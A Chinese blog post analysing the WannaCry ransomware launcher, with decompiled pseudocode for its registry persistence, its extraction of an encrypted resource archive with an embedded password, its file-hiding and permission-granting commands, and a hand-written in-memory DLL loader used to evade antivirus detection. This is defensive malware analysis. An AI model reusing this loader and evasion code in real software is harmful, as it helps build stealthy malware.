分析wannacry——启动器

废话

两年过去了,两年前还啥也不会,如今来看看这玩意儿了。

 

 

逆向分析

主函数如下,当然,这里所有函数都已经过分析而标注。

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  char *Str; // ST1C_4@1
  char **v5; // eax@2
  void *dll; // eax@10
  _IMAGE_NT_HEADERS *NtHeader; // eax@11
  void (__stdcall *TaskStart)(_DWORD, _DWORD); // eax@12
  DWORD struct[310]; // [sp+10h] [bp-6E4h]@9
  CHAR CurrentFileName[520]; // [sp+4E8h] [bp-20Ch]@1
  int size; // [sp+6F0h] [bp-4h]@10

  CurrentFileName[0] = NULL_;
  memset(&CurrentFileName[1], 0, 0x204u);
  *(_WORD *)&CurrentFileName[517] = 0;
  CurrentFileName[519] = 0;
  GetModuleFileNameA(0, CurrentFileName, 0x208u);
  GetRandomName(DirName);
  if ( *(_DWORD *)_p___argc(Str) != 2
    || (v5 = (char **)_p___argv(), strcmp(*((const char **)*v5 + 1), aI))// "/i"
    || !CreateSomeDir(0)
    || (CopyFileA(CurrentFileName, FileName, 0), GetFileAttributesA(FileName) == -1)// tasksche.exe
    || !StartVirus() )
  {
    if ( strrchr(CurrentFileName, '\\') )
      *strrchr(CurrentFileName, '\\') = 0;
    SetCurrentDirectoryA(CurrentFileName);
    SetRegKeyOrGetVirusPath(1);
    FreeResource(0, key);                       // WNcry@2ol7
    WriteData2cwnry();
    StartProcess(fullPath, 0, 0);               // attrib +h .
    StartProcess(aIcacls_GrantEv, 0, 0);        // icacls . /grant Everyone:F /T /C /Q
    if ( InitAPIs() )
    {
      InitInstance(struct);
      if ( init_publicKey(struct, 0, 0, 0) )
      {
        size = 0;
        dll = (void *)DecryptDll(struct, aT_wnry, (int)&size);// t.wnry
        if ( dll )
        {
          NtHeader = (_IMAGE_NT_HEADERS *)NewLoadLibrary(dll, size);
          if ( NtHeader )
          {
            TaskStart = (void (__stdcall *)(_DWORD, _DWORD))NewGetProcAddr((struc_2 *)NtHeader, Str1);// TaskStart
            if ( TaskStart )
              TaskStart(0, 0);
          }
        }
      }
      ClearMem((char *)struct);
    }
  }
  return 0;
}

首先判断命令行参数,若参数为/i,则创建文件夹,复制病毒文件,创建后台服务,启动病毒。

BOOL StartVirus()
{
  CHAR fullPath; // [sp+4h] [bp-208h]@1
  char v2; // [sp+5h] [bp-207h]@1
  __int16 v3; // [sp+209h] [bp-3h]@1
  char v4; // [sp+20Bh] [bp-1h]@1

  fullPath = NULL_;
  memset(&v2, 0, 0x204u);
  v3 = 0;
  v4 = 0;
  GetFullPathNameA(FileName, 0x208u, &fullPath, 0);
  return OpenMalService((int)&fullPath) && OpenMutexAndSleep(60)
      || StartProcess(&fullPath, 0, 0) && OpenMutexAndSleep(60);
}

若无命令行参数,则正常执行,首先会遇到一个操作注册表的函数

signed int __cdecl SetRegKeyOrGetVirusPath(int mode)
{
  qmemcpy(&Dest, aSoftware, 0x14u);             // Software\
  CurrentDirectorName = 0;
  phkResult = 0;
  memset(&v10, 0, 0xB4u);
  memset(&v6, 0, 0x204u);
  v7 = 0;
  v8 = 0;
  wcscat(&Dest, Source);                        // WanaCrypt0r
  v12 = 0;
  while ( 1 )
  {
    if ( v12 )
      RegCreateKeyW(HKEY_CURRENT_USER, &Dest, &phkResult);// dest=Software\WanaCrypt0r
    else
      RegCreateKeyW(HKEY_LOCAL_MACHINE, &Dest, &phkResult);
    if ( phkResult )
    {
      if ( mode )
      {
        GetCurrentDirectoryA(0x207u, &CurrentDirectorName);
        v1 = strlen(&CurrentDirectorName);
        v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&CurrentDirectorName, v1 + 1) == 0;// ValueName = wd
      }
      else
      {
        cbData = 0x207;
        v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&CurrentDirectorName, &cbData);
        v2 = v3 == 0;
        if ( !v3 )
          SetCurrentDirectoryA(&CurrentDirectorName);
      }
      RegCloseKey(phkResult);
      if ( v2 )
        break;
    }
    if ( ++v12 >= 2 )
      return 0;
  }
}

这个函数根据参数的不同完成不同的操作,当mode为1时设置创建一个键值,该键值记录了当前文件夹路径,当mode为0时读取这个文件夹路径。

接下来这个函数比较关键,它对资源进行解密并释放到当前文件夹。

int __cdecl FreeResource(HMODULE hModule, char *key)
{
  HRSRC v2; // eax@1
  HRSRC v3; // esi@1
  HGLOBAL hGlobal; // eax@2
  void *lpAddress; // edi@3
  int dwSize; // eax@4
  int *v7; // esi@4
  int result; // eax@5
  int v9; // ebx@6
  int i; // edi@6
  int v11; // [sp+8h] [bp-12Ch]@6
  char Str1; // [sp+Ch] [bp-128h]@6

  v2 = FindResourceA(hModule, (LPCSTR)0x80A, Type);// XIA
  v3 = v2;
  if ( v2
    && (hGlobal = LoadResource(hModule, v2)) != 0
    && (lpAddress = LockResource(hGlobal)) != 0
    && (dwSize = SizeofResource(hModule, v3), (v7 = Decom__(lpAddress, dwSize, key)) != 0) )
  {
    v11 = 0;
    memset(&Str1, 0, 0x128u);
    DecryptResource(v7, -1, (int)&v11);
    v9 = v11;
    for ( i = 0; i < v9; ++i )
    {
      sub_4075C4(v7, i, (int)&v11);
      if ( strcmp(&Str1, Str2) || GetFileAttributesA(&Str1) == -1 )// c.wnry
        FreeFiles((int)v7, (HANDLE)i, &Str1);
    }
    sub_407656(v7);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

其中一些函数内部细节比较复杂,但其功能比较好判断,最好以调试的方式来观察其某些行为。其中那个解密其实是解压加了密的压缩包。

之后向WriteData2cwnacry函数向c.wnry文件中写入了一些跟比特币有关的数据,我也不知道这是啥。。。

接着利用CreateProcess执行了两条cmd

StartProcess(fullPath, 0, 0);               // attrib +h .
StartProcess(aIcacls_GrantEv, 0, 0);        // icacls . /grant Everyone:F /T /C /Q

attrib +h .赋予当前文件夹隐藏属性;另一条命令解释如下:

使用GetProcAddress动态加载API

int InitAPIs()
{
  HMODULE v0; // eax@3
  HMODULE v1; // edi@3
  FARPROC CloseHandle; // eax@4
  int result; // eax@11

  result = 0;
  if ( InitEncryptFunctions() )
  {
    if ( *(_DWORD *)CreateFileW_
      || (v0 = LoadLibraryA(kernel32), (v1 = v0) != 0)
      && (*(_DWORD *)CreateFileW_ = GetProcAddress(v0, ProcName),
          *(_DWORD *)WriteFile_ = GetProcAddress(v1, aWritefile),
          ReadFile_ = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v1, aReadfile),
          *(_DWORD *)MoveFileW = GetProcAddress(v1, aMovefilew),
          *(_DWORD *)MoveFileExW = GetProcAddress(v1, aMovefileexw),
          *(_DWORD *)DeleteFileW = GetProcAddress(v1, aDeletefilew),
          CloseHandle = GetProcAddress(v1, aClosehandle),
          *(_DWORD *)CloseHandle_ = CloseHandle,
          *(_DWORD *)CreateFileW_)
      && *(_DWORD *)WriteFile_
      && ReadFile_
      && *(_DWORD *)MoveFileW
      && *(_DWORD *)MoveFileExW
      && *(_DWORD *)DeleteFileW
      && CloseHandle )
    {
      result = 1;
    }
  }
  return result;
}

之后获取了一个rsa的密钥,应该是为之后的某次解密做准备。

之后这个函数就很复杂了,里面先进行了一些文件特征的判断,然后有复杂的解密操作

int __thiscall DecryptDll(void *this, LPCSTR lpFileName, int a3)
{
  void *this_; // esi@1
  int v4; // ebx@1
  HANDLE hFile; // edi@1
  size_t file_data1; // [sp+14h] [bp-244h]@1
  int v8; // [sp+18h] [bp-240h]@1
  char file_data0; // [sp+1Ch] [bp-23Ch]@1
  int v10; // [sp+1Dh] [bp-23Bh]@1
  __int16 v11; // [sp+21h] [bp-237h]@1
  char v12; // [sp+23h] [bp-235h]@1
  __int64 dwBytes; // [sp+24h] [bp-234h]@9
  char dec_data; // [sp+2Ch] [bp-22Ch]@11
  int v15; // [sp+22Ch] [bp-2Ch]@1
  int v16; // [sp+230h] [bp-28h]@12
  LARGE_INTEGER FileSize; // [sp+234h] [bp-24h]@2
  int lpNumberOfBytesRead; // [sp+23Ch] [bp-1Ch]@1
  CPPEH_RECORD ms_exc; // [sp+240h] [bp-18h]@1

  this_ = this;
  v4 = 0;
  v15 = 0;
  file_data1 = 0;
  file_data0 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v8 = 0;
  lpNumberOfBytesRead = 0;
  ms_exc.registration.TryLevel = 0;
  hFile = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);// GENERIC_READ, FILE_SHARE_READ, OPEN_EXISTING
  if ( hFile != (HANDLE)-1 )
  {
    GetFileSizeEx(hFile, &FileSize);
    if ( FileSize.QuadPart <= 104857600 )
    {
      if ( ReadFile_(hFile, &file_data0, 8, &lpNumberOfBytesRead, 0) )
      {
        if ( !memcmp(&file_data0, aWanacry, 8u) )
        {
          if ( ReadFile_(hFile, &file_data1, 4, &lpNumberOfBytesRead, 0) )
          {
            if ( file_data1 == 256 )
            {
              if ( ReadFile_(hFile, *((_DWORD *)this_ + 0x132), 256, &lpNumberOfBytesRead, 0) )
              {
                if ( ReadFile_(hFile, &v8, 4, &lpNumberOfBytesRead, 0) )
                {
                  if ( ReadFile_(hFile, &dwBytes, 8, &lpNumberOfBytesRead, 0) )
                  {
                    if ( dwBytes <= 0x6400000 )
                    {
                      if ( DecryptData((int)this_ + 4, *((void **)this_ + 0x132), file_data1, &dec_data, (int)&v15) )
                      {
                        sub_402A76((char *)this_ + 84, (int)&dec_data, Src, v15, 0x10u);
                        v16 = (int)GlobalAlloc(0, dwBytes);
                        if ( v16 )
                        {
                          if ( ReadFile_(hFile, *((_DWORD *)this_ + 0x132), FileSize.LowPart, &lpNumberOfBytesRead, 0)
                            && lpNumberOfBytesRead
                            && (SHIDWORD(dwBytes) < 0
                             || SHIDWORD(dwBytes) <= 0 && lpNumberOfBytesRead >= (unsigned int)dwBytes) )
                          {
                            v4 = v16;
                            sub_403A77((int)this_ + 84, *((void **)this_ + 306), v16, lpNumberOfBytesRead, 1);
                            *(_DWORD *)a3 = dwBytes;
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  local_unwind2(&ms_exc.registration, -1);
  return v4;
}

对于这个函数,主要通过动态调试的方式来分析,可以慢慢比对文件特征,到后面就会发现这里解密出了一个PE文件。可以用IDC脚本将这个PE文件dump下来之后分析,它其实是一个dll文件。

之后这个函数就好玩了,它是手动实现的一个LoadLibrary来将内存中的dll文件加载。

来看看内部细节,首先是PE文件进行基本的检验

初始化了一个结构体

然后复制代码段

signed int __cdecl copy_section(int pe, int size, _IMAGE_NT_HEADERS *_nt_header, struc_2 *info)
{
  struc_2 *info_; // edi@1
  DWORD *SizeOfRawData; // esi@2
  signed __int32 SectionAlignment; // ebx@4
  void *text_section; // ST08_4@6
  void *v8; // ebx@9
  signed int v10; // [sp+Ch] [bp-4h]@1
  DWORD ImageBase; // [sp+24h] [bp+14h]@1

  info_ = info;
  v10 = 0;
  ImageBase = info->ImageBase;
  if ( !info_->NtHeader->FileHeader.NumberOfSections )
    return 1;
  SizeOfRawData = (DWORD *)((char *)&info_->NtHeader->OptionalHeader.AddressOfEntryPoint
                          + info_->NtHeader->FileHeader.SizeOfOptionalHeader);
  while ( !*SizeOfRawData )
  {
    SectionAlignment = _nt_header->OptionalHeader.SectionAlignment;
    if ( SectionAlignment > 0 )
    {
      if ( !((int (__cdecl *)(DWORD, signed __int32, signed int, signed int, int))info_->VirtualAlloc)(
              *(SizeOfRawData - 1) + ImageBase,
              SectionAlignment,
              4096,
              4,
              info_->null) )
        return 0;
      text_section = (void *)(*(SizeOfRawData - 1) + ImageBase);
      *(SizeOfRawData - 2) = (DWORD)text_section;
      memset(text_section, 0, SectionAlignment);
    }
LABEL_10:
    ++v10;
    SizeOfRawData += 10;
    if ( v10 >= info_->NtHeader->FileHeader.NumberOfSections )
      return 1;
  }
  if ( Is_size_enough(size, *SizeOfRawData + SizeOfRawData[1])
    && ((int (__cdecl *)(DWORD, DWORD, signed int, signed int, int))info_->VirtualAlloc)(
         *(SizeOfRawData - 1) + ImageBase,
         *SizeOfRawData,
         0x1000,                                // MEM_COMMI
         4,
         info_->null) )
  {
    v8 = (void *)(*(SizeOfRawData - 1) + ImageBase);
    memcpy(v8, (const void *)(pe + SizeOfRawData[1]), *SizeOfRawData);
    *(SizeOfRawData - 2) = (DWORD)v8;
    goto LABEL_10;
  }
  return 0;
}

基址重定位

signed int __cdecl Relocate(struc_2 *a1, int offset)
{
  int ImageBase; // esi@1
  signed int result; // eax@2
  _IMAGE_BASE_RELOCATION *v4; // eax@3
  DWORD i; // ecx@3
  _IMAGE_BASE_RELOCATION *v6; // edx@4
  int v7; // ebx@5
  unsigned int v8; // [sp+Ch] [bp+8h]@4

  ImageBase = a1->ImageBase;
  if ( a1->NtHeader->OptionalHeader.DataDirectory[5].Size )
  {
    v4 = (_IMAGE_BASE_RELOCATION *)(ImageBase + a1->NtHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
    for ( i = v4->VirtualAddress; v4->VirtualAddress; i = v4->VirtualAddress )
    {
      v8 = 0;
      v6 = v4 + 1;
      if ( (v4->SizeOfBlock - 8) & 0xFFFFFFFE )
      {
        do
        {
          v7 = LOWORD(v6->VirtualAddress);
          LOWORD(v7) = v7 & 0xF000;
          if ( v7 == 0x3000 )
            *(_DWORD *)(i + ImageBase + (v6->VirtualAddress & 0xFFF)) += offset;
          ++v8;
          v6 = (_IMAGE_BASE_RELOCATION *)((char *)v6 + 2);
        }
        while ( v8 < (v4->SizeOfBlock - 8) >> 1 );
      }
      v4 = (_IMAGE_BASE_RELOCATION *)((char *)v4 + v4->SizeOfBlock);
    }
    result = 1;
  }
  else
  {
    result = offset == 0;
  }
  return result;
}

加载导入表

signed int __cdecl LoadIAT(struc_2 *a1)
{
  struc_2 *info_; // esi@1
  int ImageBase; // edi@1
  char *v3; // eax@1
  int v5; // ebx@3
  int v6; // eax@6
  int v7; // ST08_4@7
  _DWORD *v8; // eax@8
  int v9; // ecx@9
  int v10; // eax@10
  int *v11; // edi@10
  _IMAGE_NT_HEADERS *nt_header; // eax@12
  int v13; // eax@14
  int v14; // [sp+8h] [bp-Ch]@1
  signed int v15; // [sp+Ch] [bp-8h]@1
  int v16; // [sp+10h] [bp-4h]@7
  struc_2 *v17; // [sp+1Ch] [bp+8h]@10

  info_ = a1;
  ImageBase = a1->ImageBase;
  v3 = (char *)&a1->NtHeader->OptionalHeader.DataDirectory[1];
  v14 = a1->ImageBase;
  v15 = 1;
  if ( !a1->NtHeader->OptionalHeader.DataDirectory[1].Size )
    return 1;
  v5 = ImageBase + *(_DWORD *)v3;
  if ( IsBadReadPtr((const void *)(ImageBase + *(_DWORD *)v3), 0x14u) )
    return v15;
  while ( 1 )
  {
    v6 = *(_DWORD *)(v5 + 12);
    if ( !v6 )
      return v15;
    v7 = info_->null;
    v16 = ((int (__cdecl *)(int))info_->LoadLibraryA)(ImageBase + v6);
    if ( !v16 )
    {
      SetLastError(0x7Eu);
      return 0;
    }
    v8 = realloc((void *)info_->field_8, 4 * info_->field_C + 4);
    if ( !v8 )
    {
      ((void (__cdecl *)(int, int))info_->FreeLibrary)(v16, info_->null);
      SetLastError(0xEu);
      return 0;
    }
    v9 = info_->field_C;
    info_->field_8 = (int)v8;
    v8[v9] = v16;
    ++info_->field_C;
    if ( *(_DWORD *)v5 )
    {
      v10 = ImageBase + *(_DWORD *)v5;
      v11 = (int *)(v14 + *(_DWORD *)(v5 + 16));
      v17 = (struc_2 *)v10;
    }
    else
    {
      v11 = (int *)(*(_DWORD *)(v5 + 16) + ImageBase);
      v17 = (struc_2 *)v11;
    }
    while ( 1 )
    {
      nt_header = v17->NtHeader;
      if ( !v17->NtHeader )
        break;
      if ( (unsigned int)nt_header & 0x80000000 )
        v13 = ((int (__cdecl *)(int, int, int))info_->GetProcAddress)(v16, (unsigned __int16)nt_header, info_->null);
      else
        v13 = ((int (__cdecl *)(int, int, int))info_->GetProcAddress)(
                v16,
                (int)&nt_header->Signature + v14 + 2,
                info_->null);
      *v11 = v13;
      if ( !v13 )
      {
        v15 = 0;
        break;
      }
      v17 = (struc_2 *)((char *)v17 + 4);
      ++v11;
    }
    if ( !v15 )
      break;
    v5 += 20;
    if ( IsBadReadPtr((const void *)v5, 0x14u) )
      return v15;
    ImageBase = v14;
  }
  ((void (__cdecl *)(int, int))info_->FreeLibrary)(v16, info_->null);
  SetLastError(0x7Fu);
  return v15;
}

执行TLS函数

signed int __cdecl run_tls(struc_2 *a1)
{
  int v1; // edi@1
  DWORD tls; // eax@1
  signed int result; // eax@2
  void (__stdcall **v4)(_DWORD, _DWORD, _DWORD); // esi@3

  v1 = a1->ImageBase;
  tls = a1->NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress;
  if ( tls )
  {
    v4 = *(void (__stdcall ***)(_DWORD, _DWORD, _DWORD))(tls + v1 + 12);
    if ( v4 )
    {
      while ( *v4 )
      {
        (*v4)(v1, 1, 0);
        ++v4;
      }
    }
    result = 1;
  }
  else
  {
    result = 1;
  }
  return result;
}

这样整个流程下来就算是模仿了LoadLibrary的功能了(如果直接释放dll文件到磁盘中然后调用LoadLibrary可能会被查杀吧)。

加载完dll模块后,该启动器导入了一个TaskStart函数,然后调用它。这里用于动态导入函数的GetProcAddress也是重写了的,因为之前加载dll的函数并非完全是LoadLibrary,所以不能直接用GetProcAddress API来获取函数。不过也不复杂,本质上就是遍历导出表,找到函数地址罢了。

int __cdecl NewGetProcAddr(struc_2 *pe_nt, char *FuncName)
{
  int image_base; // ecx@1
  char *DataDirecotry; // eax@1
  int ExportOffset; // esi@2
  unsigned int v5; // eax@2
  _IMAGE_EXPORT_DIRECTORY *v6; // esi@2
  DWORD v7; // edx@5
  DWORD number; // eax@6
  _DWORD *Name; // edi@7
  _WORD *v10; // ebx@7
  int v12; // [sp+Ch] [bp-4h]@1
  struc_2 *i; // [sp+18h] [bp+8h]@7

  image_base = pe_nt->ImageBase;
  DataDirecotry = (char *)pe_nt->NtHeader->OptionalHeader.DataDirectory;
  v12 = pe_nt->ImageBase;
  if ( !pe_nt->NtHeader->OptionalHeader.DataDirectory[0].Size )
    goto LABEL_12;
  ExportOffset = *(_DWORD *)DataDirecotry;
  v5 = *(_DWORD *)(*(_DWORD *)DataDirecotry + image_base + 0x18);
  v6 = (_IMAGE_EXPORT_DIRECTORY *)(image_base + ExportOffset);
  if ( !v5 || !v6->NumberOfFunctions )
    goto LABEL_12;
  if ( !HIWORD(FuncName) )
  {
    v7 = v6->Base;
    if ( (unsigned __int16)FuncName >= v7 )
    {
      number = (unsigned __int16)FuncName - v7;
      goto LABEL_15;
    }
LABEL_12:
    SetLastError(0x7Fu);
    return 0;
  }
  Name = (_DWORD *)(image_base + v6->AddressOfNames);
  v10 = (_WORD *)(image_base + v6->AddressOfNameOrdinals);
  i = 0;
  if ( v5 <= 0 )
    goto LABEL_12;
  while ( stricmp(FuncName, (const char *)(image_base + *Name)) )
  {
    i = (struc_2 *)((char *)i + 1);
    ++Name;
    ++v10;
    if ( (unsigned int)i >= v6->NumberOfNames )
      goto LABEL_12;
    image_base = v12;
  }
  number = *v10;
  image_base = v12;
LABEL_15:
  if ( number > v6->NumberOfFunctions )
    goto LABEL_12;
  return image_base + *(_DWORD *)(v6->AddressOfFunctions + 4 * number + image_base);
}

到这里,启动器的所有行为就算是分析完了。总得来说,这个启动器也没干几件事,都是一些病毒的准备工作,而病毒的核心功能,应该就在那个DLL文件中,dump下来后,就可以分析病毒的核心功能啦。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值